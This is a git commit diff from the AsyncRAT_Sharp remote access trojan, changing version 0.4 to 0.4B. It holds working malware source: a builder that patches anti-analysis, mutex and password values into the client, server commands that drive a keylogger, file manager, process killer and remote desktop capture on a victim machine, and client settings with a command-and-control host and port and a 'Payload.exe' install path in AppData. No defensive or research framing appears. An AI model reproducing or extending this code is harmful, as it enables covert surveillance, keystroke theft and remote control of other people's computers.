This commit is contained in:
NYAN CAT 2019-04-24 11:10:26 -07:00
parent 098918cd3f
commit cfae8909d7
9 changed files with 17 additions and 12 deletions

View File

@ -56,7 +56,7 @@ namespace AsyncRAT_Sharp.Forms
method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower();
if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") if (method.Body.Instructions[i].Operand.ToString() == "%MTX%")
method.Body.Instructions[i].Operand = Path.GetRandomFileName(); method.Body.Instructions[i].Operand = Guid.NewGuid().ToString();
if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT")
method.Body.Instructions[i].Operand = Settings.Password; method.Body.Instructions[i].Operand = Settings.Password;

View File

@ -27,7 +27,7 @@ namespace AsyncRAT_Sharp.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText;
} }
} }
@ -47,7 +47,7 @@ namespace AsyncRAT_Sharp.Forms
{ {
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
return; return;
} }
path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\'))); path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\')));
@ -62,7 +62,7 @@ namespace AsyncRAT_Sharp.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getDrivers"; msgpack.ForcePathObject("Command").AsString = "getDrivers";
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
return; return;
} }
@ -151,7 +151,7 @@ namespace AsyncRAT_Sharp.Forms
msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Packet").AsString = "fileManager";
msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Command").AsString = "getPath";
msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
} }
catch catch
{ {

View File

@ -7,6 +7,7 @@ using System.Data;
using System.Drawing; using System.Drawing;
using System.Linq; using System.Linq;
using System.Text; using System.Text;
using System.Threading;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
@ -32,7 +33,7 @@ namespace AsyncRAT_Sharp.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false"; msgpack.ForcePathObject("isON").AsString = "false";
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
} }
} }
} }

View File

@ -5,6 +5,7 @@ using System.Data;
using System.Drawing; using System.Drawing;
using System.Linq; using System.Linq;
using System.Text; using System.Text;
using System.Threading;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.MessagePack;
@ -39,7 +40,7 @@ namespace AsyncRAT_Sharp.Forms
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "Kill"; msgpack.ForcePathObject("Option").AsString = "Kill";
msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text; msgpack.ForcePathObject("ID").AsString = P.SubItems[lv_id.Index].Text;
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
}); });
} }
} }
@ -52,7 +53,7 @@ namespace AsyncRAT_Sharp.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Packet").AsString = "processManager";
msgpack.ForcePathObject("Option").AsString = "List"; msgpack.ForcePathObject("Option").AsString = "List";
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
}); });
} }
} }

View File

@ -12,6 +12,7 @@ using System.Threading.Tasks;
using System.Windows.Forms; using System.Windows.Forms;
using AsyncRAT_Sharp.Sockets; using AsyncRAT_Sharp.Sockets;
using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.MessagePack;
using System.Threading;
namespace AsyncRAT_Sharp.Forms namespace AsyncRAT_Sharp.Forms
{ {
@ -28,7 +29,7 @@ namespace AsyncRAT_Sharp.Forms
public int FPS = 0; public int FPS = 0;
public Stopwatch sw = Stopwatch.StartNew(); public Stopwatch sw = Stopwatch.StartNew();
public Stopwatch RenderSW = Stopwatch.StartNew(); public Stopwatch RenderSW = Stopwatch.StartNew();
public IUnsafeCodec decoder = new UnsafeStreamCodec(80); public IUnsafeCodec decoder = new UnsafeStreamCodec(60);
private void timer1_Tick(object sender, EventArgs e) private void timer1_Tick(object sender, EventArgs e)
{ {
@ -43,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms
MsgPack msgpack = new MsgPack(); MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true"; msgpack.ForcePathObject("Option").AsString = "true";
C.BeginSend(msgpack.Encode2Bytes()); ThreadPool.QueueUserWorkItem(C.BeginSend, msgpack.Encode2Bytes());
decoder = new UnsafeStreamCodec(60); decoder = new UnsafeStreamCodec(60);
} }
} }

View File

@ -14,6 +14,6 @@ namespace AsyncRAT_Sharp
public static string Password { get; set; } public static string Password { get; set; }
public static Aes256 aes256{ get; set; } public static Aes256 aes256{ get; set; }
public static readonly string Version = "AsyncRAT 0.4"; public static readonly string Version = "AsyncRAT 0.4B";
} }
} }

View File

@ -96,12 +96,14 @@ namespace Client.Handle_Packet
{ {
case "false": case "false":
{ {
if (RemoteDesktop.RemoteDesktop_Status == false) return;
RemoteDesktop.RemoteDesktop_Status = false; RemoteDesktop.RemoteDesktop_Status = false;
} }
break; break;
case "true": case "true":
{ {
if (RemoteDesktop.RemoteDesktop_Status == true) return;
RemoteDesktop.RemoteDesktop_Status = true; RemoteDesktop.RemoteDesktop_Status = true;
RemoteDesktop.CaptureAndSend(); RemoteDesktop.CaptureAndSend();
} }

View File

@ -8,7 +8,7 @@ namespace Client
{ {
public static readonly string Ports = "6606"; public static readonly string Ports = "6606";
public static readonly string Host = "127.0.0.1"; public static readonly string Host = "127.0.0.1";
public static readonly string Version = "AsyncRAT 0.4"; public static readonly string Version = "AsyncRAT 0.4B";
public static readonly string Install = "false"; public static readonly string Install = "false";
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
public static string Password = "NYAN CAT"; public static string Password = "NYAN CAT";